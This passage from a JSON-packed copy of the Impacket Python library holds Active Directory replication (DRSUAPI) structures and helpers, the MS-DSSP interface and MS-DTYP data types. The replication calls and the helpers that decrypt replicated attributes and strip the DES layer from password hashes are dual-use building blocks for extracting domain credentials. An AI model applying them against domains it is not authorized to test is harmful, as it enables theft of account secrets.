('pNC',PDSNAME),\n        ('usnvecFrom',USN_VECTOR),\n        ('usnvecTo',USN_VECTOR),\n        ('pUpToDateVecSrc',PUPTODATE_VECTOR_V2_EXT),\n        ('PrefixTableSrc',SCHEMA_PREFIX_TABLE),\n        ('ulExtendedRet',EXOP_ERR),\n        ('cNumObjects',ULONG),\n        ('cNumBytes',ULONG),\n        ('pObjects',PREPLENTINFLIST),\n        ('fMoreData',BOOL),\n        ('cNumNcSizeObjectsc',ULONG),\n        ('cNumNcSizeValues',ULONG),\n        ('cNumValues',DWORD),\n        #('rgValues',PREPLVALINF_V3_ARRAY),\n        # ToDo: Once we find out what's going on with PREPLVALINF_ARRAY get it back\n        # Seems there's something in there that is not being parsed correctly\n        ('rgValues',DWORD),\n        ('dwDRSError',DWORD),\n    )\n\n# 4.1.10.2.14 DRS_MSG_GETCHGREPLY_NATIVE\nDRS_MSG_GETCHGREPLY_NATIVE = DRS_MSG_GETCHGREPLY_V9\n\n# 4.1.10.2.8 DRS_MSG_GETCHGREPLY\nclass DRS_MSG_GETCHGREPLY(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_GETCHGREPLY_V1),\n        2  : ('V2', DRS_MSG_GETCHGREPLY_V2),\n        6  : ('V6', DRS_MSG_GETCHGREPLY_V6),\n        7  : ('V7', DRS_MSG_GETCHGREPLY_V7),\n        9  : ('V9', DRS_MSG_GETCHGREPLY_V9),\n    }\n\n# 4.1.27.1.2 DRS_MSG_VERIFYREQ_V1\nclass DRS_MSG_VERIFYREQ_V1(NDRSTRUCT):\n    structure =  (\n        ('dwFlags',DWORD),\n        ('cNames',DWORD),\n        ('rpNames',PPDSNAME_ARRAY),\n        ('RequiredAttrs',ATTRBLOCK),\n        ('PrefixTable',SCHEMA_PREFIX_TABLE),\n    )\n\n# 4.1.27.1.1 DRS_MSG_VERIFYREQ\nclass DRS_MSG_VERIFYREQ(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_VERIFYREQ_V1),\n    }\n\n# 4.1.27.1.4 DRS_MSG_VERIFYREPLY_V1\nclass DRS_MSG_VERIFYREPLY_V1(NDRSTRUCT):\n    structure =  (\n        ('error',DWORD),\n        ('cNames',DWORD),\n        ('rpEntInf',PENTINF_ARRAY),\n        ('PrefixTable',SCHEMA_PREFIX_TABLE),\n    )\n\n# 4.1.27.1.3 DRS_MSG_VERIFYREPLY\nclass DRS_MSG_VERIFYREPLY(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_VERIFYREPLY_V1),\n    }\n\n# 4.1.11.1.2 DRS_MSG_NT4_CHGLOG_REQ_V1\nclass DRS_MSG_NT4_CHGLOG_REQ_V1(NDRSTRUCT):\n    structure =  (\n        ('dwFlags',DWORD),\n        ('PreferredMaximumLength',DWORD),\n        ('cbRestart',DWORD),\n        ('pRestart',PBYTE_ARRAY),\n    )\n\n# 4.1.11.1.1 DRS_MSG_NT4_CHGLOG_REQ\nclass DRS_MSG_NT4_CHGLOG_REQ(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_NT4_CHGLOG_REQ_V1),\n    }\n\n# 4.1.11.1.5 NT4_REPLICATION_STATE\nclass NT4_REPLICATION_STATE(NDRSTRUCT):\n    structure =  (\n        ('SamSerialNumber',LARGE_INTEGER),\n        ('SamCreationTime',LARGE_INTEGER),\n        ('BuiltinSerialNumber',LARGE_INTEGER),\n        ('BuiltinCreationTime',LARGE_INTEGER),\n        ('LsaSerialNumber',LARGE_INTEGER),\n        ('LsaCreationTime',LARGE_INTEGER),\n    )\n\n# 4.1.11.1.4 DRS_MSG_NT4_CHGLOG_REPLY_V1\nclass DRS_MSG_NT4_CHGLOG_REPLY_V1(NDRSTRUCT):\n    structure =  (\n        ('cbRestart',DWORD),\n        ('cbLog',DWORD),\n        ('ReplicationState',NT4_REPLICATION_STATE),\n        ('ActualNtStatus',DWORD),\n        ('pRestart',PBYTE_ARRAY),\n        ('pLog',PBYTE_ARRAY),\n    )\n\n# 4.1.11.1.3 DRS_MSG_NT4_CHGLOG_REPLY\nclass DRS_MSG_NT4_CHGLOG_REPLY(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1  : ('V1', DRS_MSG_NT4_CHGLOG_REPLY_V1),\n    }\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 4.1.3 IDL_DRSBind (Opnum 0)\nclass DRSBind(NDRCALL):\n    opnum = 0\n    structure = (\n        ('puuidClientDsa', PUUID),\n        ('pextClient', PDRS_EXTENSIONS),\n    )\n\nclass DRSBindResponse(NDRCALL):\n    structure = (\n        ('ppextServer', PDRS_EXTENSIONS),\n        ('phDrs', DRS_HANDLE),\n        ('ErrorCode',DWORD),\n    )\n\n# 4.1.25 IDL_DRSUnbind (Opnum 1)\nclass DRSUnbind(NDRCALL):\n    opnum = 1\n    structure = (\n        ('phDrs', DRS_HANDLE),\n    )\n\nclass DRSUnbindResponse(NDRCALL):\n    structure = (\n        ('phDrs', DRS_HANDLE),\n        ('ErrorCode',DWORD),\n    )\n\n# 4.1.10 IDL_DRSGetNCChanges (Opnum 3)\nclass DRSGetNCChanges(NDRCALL):\n    opnum = 3\n    structure = (\n        ('hDrs', DRS_HANDLE),\n        ('dwInVersion', DWORD),\n        ('pmsgIn', DRS_MSG_GETCHGREQ),\n    )\n\nclass DRSGetNCChangesResponse(NDRCALL):\n    structure = (\n        ('pdwOutVersion', DWORD),\n        ('pmsgOut', DRS_MSG_GETCHGREPLY),\n        ('ErrorCode',DWORD),\n    )\n\n# 4.1.27 IDL_DRSVerifyNames (Opnum 8)\nclass DRSVerifyNames(NDRCALL):\n    opnum = 8\n    structure = (\n        ('hDrs', DRS_HANDLE),\n        ('dwInVersion', DWORD),\n        ('pmsgIn', DRS_MSG_VERIFYREQ),\n    )\n\nclass DRSVerifyNamesResponse(NDRCALL):\n    structure = (\n        ('pdwOutVersion', DWORD),\n        ('pmsgOut', DRS_MSG_VERIFYREPLY),\n        ('ErrorCode',DWORD),\n    )\n# 4.1.11 IDL_DRSGetNT4ChangeLog (Opnum 11)\nclass DRSGetNT4ChangeLog(NDRCALL):\n    opnum = 11\n    structure = (\n        ('hDrs', DRS_HANDLE),\n        ('dwInVersion', DWORD),\n        ('pmsgIn', DRS_MSG_NT4_CHGLOG_REQ),\n    )\n\nclass DRSGetNT4ChangeLogResponse(NDRCALL):\n    structure = (\n        ('pdwOutVersion', DWORD),\n        ('pmsgOut', DRS_MSG_NT4_CHGLOG_REPLY),\n        ('ErrorCode',DWORD),\n    )\n\n# 4.1.4 IDL_DRSCrackNames (Opnum 12)\nclass DRSCrackNames(NDRCALL):\n    opnum = 12\n    structure = (\n        ('hDrs', DRS_HANDLE),\n        ('dwInVersion', DWORD),\n        ('pmsgIn', DRS_MSG_CRACKREQ),\n    )\n\nclass DRSCrackNamesResponse(NDRCALL):\n    structure = (\n        ('pdwOutVersion', DWORD),\n        ('pmsgOut', DRS_MSG_CRACKREPLY),\n        ('ErrorCode',DWORD),\n    )\n\n# 4.1.5 IDL_DRSDomainControllerInfo (Opnum 16)\nclass DRSDomainControllerInfo(NDRCALL):\n    opnum = 16\n    structure = (\n        ('hDrs', DRS_HANDLE),\n        ('dwInVersion', DWORD),\n        ('pmsgIn', DRS_MSG_DCINFOREQ),\n    )\n\nclass DRSDomainControllerInfoResponse(NDRCALL):\n    structure = (\n        ('pdwOutVersion', DWORD),\n        ('pmsgOut', DRS_MSG_DCINFOREPLY),\n        ('ErrorCode',DWORD),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (DRSBind,DRSBindResponse ),\n 1 : (DRSUnbind,DRSUnbindResponse ),\n 3 : (DRSGetNCChanges,DRSGetNCChangesResponse ),\n 12: (DRSCrackNames,DRSCrackNamesResponse ),\n 16: (DRSDomainControllerInfo,DRSDomainControllerInfoResponse ),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hDRSUnbind(dce, hDrs):\n    request = DRSUnbind()\n    request['phDrs'] = hDrs\n    return dce.request(request)\n\ndef hDRSDomainControllerInfo(dce, hDrs, domain, infoLevel):\n    request = DRSDomainControllerInfo()\n    request['hDrs'] = hDrs\n    request['dwInVersion'] = 1\n\n    request['pmsgIn']['tag'] = 1\n    request['pmsgIn']['V1']['Domain'] = checkNullString(domain)\n    request['pmsgIn']['V1']['InfoLevel'] = infoLevel\n    return dce.request(request)\n\ndef hDRSCrackNames(dce, hDrs, flags, formatOffered, formatDesired, rpNames = ()):\n    request = DRSCrackNames()\n    request['hDrs'] = hDrs\n    request['dwInVersion'] = 1\n\n    request['pmsgIn']['tag'] = 1\n    request['pmsgIn']['V1']['CodePage'] = 0\n    request['pmsgIn']['V1']['LocaleId'] = 0\n    request['pmsgIn']['V1']['dwFlags'] = flags\n    request['pmsgIn']['V1']['formatOffered'] = formatOffered\n    request['pmsgIn']['V1']['formatDesired'] = formatDesired\n    request['pmsgIn']['V1']['cNames'] = len(rpNames)\n    for name in rpNames:\n        record = LPWSTR()\n        record['Data'] = checkNullString(name)\n        request['pmsgIn']['V1']['rpNames'].append(record)\n\n    return dce.request(request)\n\ndef deriveKey(baseKey):\n        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key\n        # Let I be the little-endian, unsigned integer.\n        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.\n        # Note that because I is in little-endian byte order, I[0] is the least significant byte.\n        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].\n        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]\n        key = pack('<L',baseKey)\n        key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]\n        key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]\n        if PY2:\n            return transformKey(b''.join(key1)),transformKey(b''.join(key2))\n        else:\n            return transformKey(bytes(key1)),transformKey(bytes(key2))\n\ndef removeDESLayer(cryptedHash, rid):\n        Key1,Key2 = deriveKey(rid)\n\n        Crypt1 = DES.new(Key1, DES.MODE_ECB)\n        Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])\n\n        return decryptedHash\n\ndef DecryptAttributeValue(dce, attribute):\n    sessionKey = dce.get_session_key()\n    # Is it a Kerberos Session Key?\n    if isinstance(sessionKey, crypto.Key):\n        # Extract its contents and move on\n        sessionKey = sessionKey.contents\n\n    encryptedPayload = ENCRYPTED_PAYLOAD(attribute)\n\n    md5 = hashlib.new('md5')\n    md5.update(sessionKey)\n    md5.update(encryptedPayload['Salt'])\n    finalMD5 = md5.digest()\n\n    cipher = ARC4.new(finalMD5)\n    plainText = cipher.decrypt(attribute[16:])\n\n    #chkSum = (binascii.crc32(plainText[4:])) & 0xffffffff\n    #if unpack('<L',plainText[:4])[0] != chkSum:\n    #    print \"RECEIVED 0x%x\" % unpack('<L',plainText[:4])[0]\n    #    print \"CALCULATED 0x%x\" % chkSum\n\n    return plainText[4:]\n\n# 5.16.4 ATTRTYP-to-OID Conversion\ndef MakeAttid(prefixTable, oid):\n    # get the last value in the original OID: the value * after the last '.'\n    lastValue = int(oid.split('.')[-1])\n\n    # convert the dotted form of OID into a BER encoded binary * format.\n    # The BER encoding of OID is described in section * 8.19 of [ITUX690]\n    from pyasn1.type import univ\n    from pyasn1.codec.ber import encoder\n    binaryOID = encoder.encode(univ.ObjectIdentifier(oid))[2:]\n\n    # get the prefix of the OID\n    if lastValue < 128:\n        oidPrefix = list(binaryOID[:-1])\n    else:\n        oidPrefix = list(binaryOID[:-2])\n\n    # search the prefix in the prefix table, if none found, add\n    # one entry for the new prefix.\n    fToAdd = True\n    pos = len(prefixTable)\n    for j, item in enumerate(prefixTable):\n        if item['prefix']['elements'] == oidPrefix:\n            fToAdd = False\n            pos = j\n            break\n\n    if fToAdd is True:\n        entry = PrefixTableEntry()\n        entry['ndx'] = pos\n        entry['prefix']['length'] = len(oidPrefix)\n        entry['prefix']['elements'] = oidPrefix\n        prefixTable.append(entry)\n\n    # compose the attid\n    lowerWord = lastValue % 16384\n    if lastValue >= 16384:\n        # mark it so that it is known to not be the whole lastValue\n        lowerWord += 32768\n\n    upperWord = pos\n\n    attrTyp = ATTRTYP()\n    attrTyp['Data'] = (upperWord << 16) + lowerWord\n    return attrTyp\n\ndef OidFromAttid(prefixTable, attr):\n    # separate the ATTRTYP into two parts\n    upperWord = attr // 65536\n    lowerWord = attr % 65536\n\n    # search in the prefix table to find the upperWord, if found,\n    # construct the binary OID by appending lowerWord to the end of\n    # found prefix.\n\n    binaryOID = None\n    for j, item in enumerate(prefixTable):\n        if item['ndx'] == upperWord:\n            binaryOID = item['prefix']['elements'][:item['prefix']['length']]\n            if lowerWord < 128:\n                binaryOID.append(pack('B',lowerWord))\n            else:\n                if lowerWord >= 32768:\n                    lowerWord -= 32768\n                binaryOID.append(pack('B',(((lowerWord//128) % 128)+128)))\n                binaryOID.append(pack('B',(lowerWord%128)))\n            break\n\n    if binaryOID is None:\n        return None\n    return str(decoder.decode(b'\\x06' + pack('B',(len(binaryOID))) + b''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0])\n\nif __name__ == '__main__':\n    prefixTable = []\n    oid0 = '1.2.840.113556.1.4.94'\n    oid1 = '2.5.6.2'\n    oid2 = '1.2.840.113556.1.2.1'\n    oid3 = '1.2.840.113556.1.3.223'\n    oid4 = '1.2.840.113556.1.5.7000.53'\n\n    o0 = MakeAttid(prefixTable, oid0)\n    print(hex(o0))\n    o1 = MakeAttid(prefixTable, oid1)\n    print(hex(o1))\n    o2 = MakeAttid(prefixTable, oid2)\n    print(hex(o2))\n    o3 = MakeAttid(prefixTable, oid3)\n    print(hex(o3))\n    o4 = MakeAttid(prefixTable, oid4)\n    print(hex(o4))\n    jj = OidFromAttid(prefixTable, o0)\n    print(jj)\n    jj = OidFromAttid(prefixTable, o1)\n    print(jj)\n    jj = OidFromAttid(prefixTable, o2)\n    print(jj)\n    jj = OidFromAttid(prefixTable, o3)\n    print(jj)\n    jj = OidFromAttid(prefixTable, o4)\n    print(jj)\n"
  },
  {
    "path": "impacket/dcerpc/v5/dssp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-DSSP] Interface implementation\n#   https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Simon Decosse (@simondotsh)\n#\n\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRENUM\nfrom impacket.dcerpc.v5.dtypes import UINT, LPWSTR, GUID\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_DSSP = uuidtup_to_bin(('3919286A-B10C-11D0-9BA8-00C04FD92EF5', '0.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'DSSP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'DSSP SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC\nDSROLE_PRIMARY_DS_RUNNING          = 0x00000001\nDSROLE_PRIMARY_DS_MIXED_MODE       = 0x00000002\nDSROLE_PRIMARY_DS_READONLY         = 0x00000008\nDSROLE_PRIMARY_DOMAIN_GUID_PRESENT = 0x01000000\n\n#2.2.5 DSROLE_UPGRADE_STATUS_INFO\nDSROLE_UPGRADE_IN_PROGRESS = 0x00000004\n\n################################################################################\n# STRUCTURES\n################################################################################\n#2.2.2 DSROLE_MACHINE_ROLE\nclass DSROLE_MACHINE_ROLE(NDRENUM):\n    class enumItems(Enum):\n        DsRole_RoleStandaloneWorkstation   = 0\n        DsRole_RoleMemberWorkstation       = 1\n        DsRole_RoleStandaloneServer        = 2\n        DsRole_RoleMemberServer            = 3\n        DsRole_RoleBackupDomainController  = 4\n        DsRole_RolePrimaryDomainController = 5\n        \n# 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC\nclass DSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRSTRUCT):\n    structure = (\n        ('MachineRole', DSROLE_MACHINE_ROLE),\n        ('Flags', UINT),\n        ('DomainNameFlat', LPWSTR),\n        ('DomainNameDns', LPWSTR),\n        ('DomainForestName', LPWSTR),\n        ('DomainGuid', GUID),\n    )\n\nclass PDSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRPOINTER):\n    referent = (\n        ('Data', DSROLER_PRIMARY_DOMAIN_INFO_BASIC),\n    )\n\n# 2.2.4 DSROLE_OPERATION_STATE\nclass DSROLE_OPERATION_STATE(NDRENUM):\n    class enumItems(Enum):\n        DsRoleOperationIdle       = 0\n        DsRoleOperationActive     = 1\n        DsRoleOperationNeedReboot = 2\n\n# 2.2.3 DSROLE_OPERATION_STATE_INFO\nclass DSROLE_OPERATION_STATE_INFO(NDRSTRUCT):\n    structure = (\n        ('OperationState', DSROLE_OPERATION_STATE),\n    )\n\nclass PDSROLE_OPERATION_STATE_INFO(NDRPOINTER):\n    referent = (\n        ('Data', DSROLE_OPERATION_STATE_INFO),\n    )\n\n# 2.2.6 DSROLE_SERVER_STATE\nclass DSROLE_SERVER_STATE(NDRENUM):\n    class enumItems(Enum):\n        DsRoleServerUnknown = 0\n        DsRoleServerPrimary = 1\n        DsRoleServerBackup  = 2\n\nclass PDSROLE_SERVER_STATE(NDRPOINTER):\n    referent = (\n        ('Data', DSROLE_SERVER_STATE),\n    )\n\n# 2.2.5 DSROLE_UPGRADE_STATUS_INFO\nclass DSROLE_UPGRADE_STATUS_INFO(NDRSTRUCT):\n    structure = (\n        ('OperationState', UINT),\n        ('PreviousServerState', DSROLE_SERVER_STATE),\n    )\n\nclass PDSROLE_UPGRADE_STATUS_INFO(NDRPOINTER):\n    referent = (\n        ('Data', DSROLE_UPGRADE_STATUS_INFO),\n    )\n\n# 2.2.7 DSROLE_PRIMARY_DOMAIN_INFO_LEVEL\nclass DSROLE_PRIMARY_DOMAIN_INFO_LEVEL(NDRENUM):\n    class enumItems(Enum):\n        DsRolePrimaryDomainInfoBasic = 1\n        DsRoleUpgradeStatus          = 2\n        DsRoleOperationState         = 3\n\n# 2.2.8 DSROLER_PRIMARY_DOMAIN_INFORMATION\nclass DSROLER_PRIMARY_DOMAIN_INFORMATION(NDRUNION):\n    commonHdr = (\n        ('tag', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL),\n    )\n    \n    union = {\n        DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRolePrimaryDomainInfoBasic : ('DomainInfoBasic', DSROLER_PRIMARY_DOMAIN_INFO_BASIC),\n        DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleUpgradeStatus          : ('UpgradStatusInfo', DSROLE_UPGRADE_STATUS_INFO),\n        DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleOperationState         : ('OperationStateInfo', DSROLE_OPERATION_STATE_INFO),\n    }\n\nclass PDSROLER_PRIMARY_DOMAIN_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', DSROLER_PRIMARY_DOMAIN_INFORMATION),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.2.5.1 DsRolerGetPrimaryDomainInformation (Opnum 0)\nclass DsRolerGetPrimaryDomainInformation(NDRCALL):\n    opnum = 0\n    structure = (\n       ('InfoLevel', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL),\n    )\n\nclass DsRolerGetPrimaryDomainInformationResponse(NDRCALL):\n    structure = (\n       ('DomainInfo', PDSROLER_PRIMARY_DOMAIN_INFORMATION),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (DsRolerGetPrimaryDomainInformation, DsRolerGetPrimaryDomainInformationResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef hDsRolerGetPrimaryDomainInformation(dce, infoLevel):\n    request = DsRolerGetPrimaryDomainInformation()\n    request['InfoLevel'] = infoLevel\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/dtypes.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-DTYP] Interface mini implementation\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom struct import pack, unpack\nfrom six import binary_type\n\nfrom impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \\\n    NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \\\n    NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL\nfrom impacket.structure import Structure\n\nDWORD = NDRULONG\nBOOL = NDRULONG\nUCHAR = NDRUSMALL\nSHORT = NDRSHORT\nNULL = NULL\n\nclass LPDWORD(NDRPOINTER):\n    referent = (\n        ('Data', DWORD),\n    )\n\nclass PSHORT(NDRPOINTER):\n    referent = (\n        ('Data', SHORT),\n    )\n\nclass PBOOL(NDRPOINTER):\n    referent = (\n        ('Data', BOOL),\n    )\n\nclass LPBYTE(NDRPOINTER):\n    referent = (\n        ('Data', NDRUniConformantArray),\n    )\nPBYTE = LPBYTE\n\n# 2.2.4 BOOLEAN\nBOOLEAN = NDRBOOLEAN\n\n# 2.2.6 BYTE\nBYTE = NDRUSMALL\n\n# 2.2.7 CHAR\nCHAR = NDRSMALL\nclass PCHAR(NDRPOINTER):\n    referent = (\n        ('Data', CHAR),\n    )\n\nclass WIDESTR(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return data.find(b'\\x00\\x00\\x00', offset)+3-offset\n\n    def __setitem__(self, key, value):\n        if key == 'Data':\n            try:\n                self.fields[key] = value.encode('utf-16le')\n            except UnicodeDecodeError:\n                import sys\n                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')\n\n            self.data = None        # force recompute\n        else:\n            return NDR.__setitem__(self, key, value)\n\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le')\n        else:\n            return NDR.__getitem__(self,key)\n\nclass STR(NDRSTRUCT):\n    commonHdr = (\n        ('MaximumCount', '<L=len(Data)'),\n        ('Offset','<L=0'),\n        ('ActualCount','<L=len(Data)'),\n    )\n    commonHdr64 = (\n        ('MaximumCount', '<Q=len(Data)'),\n        ('Offset','<Q=0'),\n        ('ActualCount','<Q=len(Data)'),\n    )\n    structure = (\n        ('Data',':'),\n    )\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here just print the data\n        print(\" %r\" % (self['Data']), end=' ')\n\n    def __setitem__(self, key, value):\n        if key == 'Data':\n            try:\n                if not isinstance(value, binary_type):\n                    self.fields[key] = value.encode('utf-8')\n                else:\n                    # if it is a binary type (str in Python 2, bytes in Python 3), then we assume it is a raw buffer\n                    self.fields[key] = value\n            except UnicodeDecodeError:\n                import sys\n                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8')\n            self.fields['MaximumCount'] = None\n            self.fields['ActualCount'] = None\n            self.data = None        # force recompute\n        else:\n            return NDR.__setitem__(self, key, value)\n\n    def __getitem__(self, key):\n        if key == 'Data':\n            try:\n                return self.fields[key].decode('utf-8')\n            except UnicodeDecodeError:\n                # if we could't decode it, we assume it is a raw buffer\n                return self.fields[key]\n        else:\n            return NDR.__getitem__(self,key)\n\n    def getDataLen(self, data, offset=0):\n        return self[\"ActualCount\"]\n\nclass LPSTR(NDRPOINTER):\n    referent = (\n        ('Data', STR),\n    )\n\nclass WSTR(NDRSTRUCT):\n    commonHdr = (\n        ('MaximumCount', '<L=len(Data)//2'),\n        ('Offset','<L=0'),\n        ('ActualCount','<L=len(Data)//2'),\n    )\n    commonHdr64 = (\n        ('MaximumCount', '<Q=len(Data)//2'),\n        ('Offset','<Q=0'),\n        ('ActualCount','<Q=len(Data)//2'),\n    )\n    structure = (\n        ('Data',':'),\n    )\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here just print the data\n        print(\" %r\" % (self['Data']), end=' ')\n\n    def getDataLen(self, data, offset=0):\n        return self[\"ActualCount\"]*2 \n\n    def __setitem__(self, key, value):\n        if key == 'Data':\n            try:\n                self.fields[key] = value.encode('utf-16le')\n            except UnicodeDecodeError:\n                import sys\n                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')\n            self.fields['MaximumCount'] = None\n            self.fields['ActualCount'] = None\n            self.data = None        # force recompute\n        else:\n            return NDR.__setitem__(self, key, value)\n\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le')\n        else:\n            return NDR.__getitem__(self,key)\n\nclass LPWSTR(NDRPOINTER):\n    referent = (\n        ('Data', WSTR),\n    )\n\n# 2.2.5 BSTR\nBSTR = LPWSTR\n\n# 2.2.8 DOUBLE\nDOUBLE = NDRDOUBLEFLOAT\nclass PDOUBLE(NDRPOINTER):\n    referent = (\n        ('Data', DOUBLE),\n    )\n\n# 2.2.15 FLOAT\nFLOAT = NDRFLOAT\nclass PFLOAT(NDRPOINTER):\n    referent = (\n        ('Data', FLOAT),\n    )\n\n# 2.2.18 HRESULT\nHRESULT = NDRLONG\nclass PHRESULT(NDRPOINTER):\n    referent = (\n        ('Data', HRESULT),\n    )\n\n# 2.2.19 INT\nINT = NDRLONG\nclass PINT(NDRPOINTER):\n    referent = (\n        ('Data', INT),\n    )\n\n# 2.2.26 LMSTR\nLMSTR = LPWSTR\n\n# 2.2.27 LONG\nLONG = NDRLONG\nclass LPLONG(NDRPOINTER):\n    referent = (\n        ('Data', LONG),\n    )\n\nPLONG = LPLONG\n\n# 2.2.28 LONGLONG\nLONGLONG = NDRHYPER\n\nclass PLONGLONG(NDRPOINTER):\n    referent = (\n        ('Data', LONGLONG),\n    )\n\n# 2.2.31 LONG64\nLONG64 = NDRUHYPER\nclass PLONG64(NDRPOINTER):\n    referent = (\n        ('Data', LONG64),\n    )\n\n# 2.2.32 LPCSTR\nLPCSTR = LPSTR\n\n# 2.2.36 NET_API_STATUS\nNET_API_STATUS = DWORD\n\n# 2.2.52 ULONG_PTR\nULONG_PTR = NDRULONG\n# 2.2.10 DWORD_PTR\nDWORD_PTR = ULONG_PTR\n\n# 2.3.2 GUID and UUID\nclass GUID(NDRSTRUCT):\n    structure = (\n        ('Data','16s=b\"\"'),\n    )\n\n    def getAlignment(self):\n        return 4\n\nclass PGUID(NDRPOINTER):\n    referent = (\n        ('Data', GUID),\n    )\n\nUUID = GUID\nPUUID = PGUID\n\n# 2.2.37 NTSTATUS\nNTSTATUS = DWORD\n\n# 2.2.45 UINT\nUINT = NDRULONG\nclass PUINT(NDRPOINTER):\n    referent = (\n        ('Data', UINT),\n    )\n\n# 2.2.50 ULONG\nULONG = NDRULONG\nclass PULONG(NDRPOINTER):\n    referent = (\n        ('Data', ULONG),\n    )\n\nLPULONG = PULONG\n\n# 2.2.54 ULONGLONG\nULONGLONG = NDRUHYPER\nclass PULONGLONG(NDRPOINTER):\n    referent = (\n        ('Data', ULONGLONG),\n    )\n\n# 2.2.57 USHORT\nUSHORT = NDRUSHORT\nclass PUSHORT(NDRPOINTER):\n    referent = (\n        ('Data', USHORT),\n    )\n\n# 2.2.59 WCHAR\nWCHAR = WSTR\nPWCHAR = LPWSTR\n\n# 2.2.61 WORD\nWORD = NDRUSHORT\nclass PWORD(NDRPOINTER):\n    referent = (\n        ('Data', WORD),\n    )\nLPWORD = PWORD\n\n# 2.3.1 FILETIME\nclass FILETIME(NDRSTRUCT):\n    structure = (\n        ('dwLowDateTime', DWORD),\n        ('dwHighDateTime', LONG),\n    )\n\nclass PFILETIME(NDRPOINTER):\n    referent = (\n        ('Data', FILETIME),\n    